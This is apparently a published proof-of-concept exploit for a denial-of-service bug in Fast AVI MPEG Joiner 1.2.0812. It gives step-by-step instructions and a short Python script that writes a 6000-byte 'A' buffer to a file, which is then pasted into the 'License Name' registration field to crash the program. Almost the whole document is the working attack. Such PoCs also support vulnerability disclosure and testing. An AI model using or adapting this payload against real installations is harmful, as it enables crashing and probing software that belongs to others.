Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)

# Exploit Title: Fast AVI MPEG Joiner Dos Exploit
# Date: 24.5.2019
# Vendor Homepage:http://www.alloksoft.com
# Software Link:  http://www.alloksoft.com/fast_avimpegjoiner.exe
# Exploit Author: Achilles
# Tested Version: 1.2.0812
# Tested on: Windows 7 x64 Sp1
#            Windows XP x86 Sp3


# 1.- Run python code :Joiner.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Fast AVI MPEG Joiner.exe
# 4.- Paste the content of EVIL.txt into the Field: 'License Name'
# 5.- Click 'Register'and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"